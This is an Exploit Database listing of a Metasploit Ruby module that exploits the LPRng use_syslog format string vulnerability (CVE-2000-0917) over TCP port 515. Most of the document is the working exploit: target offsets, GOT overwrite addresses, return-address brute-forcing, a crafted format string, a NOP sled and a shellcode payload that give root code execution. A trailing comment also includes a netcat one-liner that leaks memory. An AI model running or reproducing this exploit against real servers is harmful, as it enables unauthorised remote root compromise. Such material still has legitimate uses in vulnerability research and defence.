LPRng – use_syslog Remote Format String (Metasploit)

Exploit Database
120 阅读

作者： Metasploit

日期： 2010-07-03
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/16842/

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# $Id: lprng_format_string.rb 9666 2010-07-03 01:09:32Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Brute

include Msf::Exploit::FormatString

def initialize(info = {})

super(update_info(info,

'Name' => 'LPRng use_syslog Remote Format String Vulnerability',

'Description'=> %q{

This module exploits a format string vulnerability in the LPRng print server.

This vulnerability was discovered by Chris Evans. There was a publicly

circulating worm targeting this vulnerability, which prompted RedHat to pull

their 7.0 release. They consequently re-released it as "7.0-respin".

'Author' => [ 'jduck' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9666 $',

'References' =>

[

[ 'CVE', '2000-0917' ],

[ 'OSVDB', '421' ],

[ 'BID', '1712' ],

[ 'US-CERT-VU', '382365' ],

[ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],

[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],

[ 'URL', 'http://www.exploit-db.com/exploits/226' ],

[ 'URL', 'http://www.exploit-db.com/exploits/227' ],

[ 'URL', 'http://www.exploit-db.com/exploits/230' ]

'Platform' => 'linux',

'Arch' => ARCH_X86,

'Privileged' => true, # root

'DefaultOptions' =>

{

'PrependSetresuid' => true

'Payload'=>

{

'Space'=> 130, # buffer size on caldera is 180! (need ~50 for fmt)

'BadChars' => "\x00\x0a\x20\x25",

'Targets'=>

[

# tested OK - jjd

[ 'Caldera OpenLinux 2.3 Bruteforce',

{

'Platform' => 'linux',

'NumPops'=> 243,

'FlowHook' => 0x80992d4,# GOT of exit

# (0x809c180+(41+4+10+48)) - data segment, but gets corrupted

'Bruteforce' =>

{

'Start' => { 'Ret' => 0xcffffff4 },

'Stop'=> { 'Ret' => 0x7fffe004 },

'Step'=> 16

}

=begin

# untested (from public exploits)

[ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',

{

'NumPops' => 299,

'Ret' => 0xbffff640,

'FlowHook' => 0xbfffee30

}

[ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',

{

'NumPops' => 304,

'Ret' => 0xbffff920,

'FlowHook' => 0xbffff0f0

}

[ 'RedHat 7.0 - Guinesss',

{

'NumPops' => 300,

'Ret' => 0x41424344,

'FlowHook' => 0xbffff3ec

}

[ 'RedHat 7.0 - Guinesss-dev',

{

'NumPops' => 300,

'Ret' => 0x41424344,

'FlowHook' => 0xbffff12c

}

=end

# ...

[ 'Debug',

{

'NumPops' => 1, # sure to miss.

'Ret' => 0x41424344,

'FlowHook' => 0x45464748

}

]

# 'DefaultTarget' => 0,

'DisclosureDate' => 'Sep 25 2000'))

register_options( [ Opt::RPORT(515) ], self.class )

end

def exploit

# we want to use DPA for this one :)

fmtstr_set_caps(false, true)

# check syslog to see which number hits 41414141

=begin

400.times { |x|

connect

buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]

sock.put(buf)

#handler

disconnect

}

=end

print_status("Trying target #{target.name} ..")

super

end

def brute_exploit(addrs)

#print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])

printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...

num_start = printed.length + 2 + 4

# write 'ret' addr to flowhook (execute shellcode)

# NOTE: the resulting two writes must be done at the same time

# characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)

fmtbuf = "_" * 4

fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])

#print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")

# append payload and newline

#fmtbuf << payload.encoded

fmtbuf << "\x90" * 32

fmtbuf << Rex::Text.charset_exclude(payload_badchars)

fmtbuf << "\n"

print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])

connect

#print_status("Sleeping, attach now!!")

#select(nil,nil,nil,5)

sock.put(fmtbuf)

handler

disconnect

end

=begin

HRM!

The following causes info leakage!

bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC

There are various other ways to trigger the vulnerability. LPD uses the single-byte commands

0x01 -> 0x09...

It's unclear if there is a way to auto-detect the lpd version via LPD commands.

=end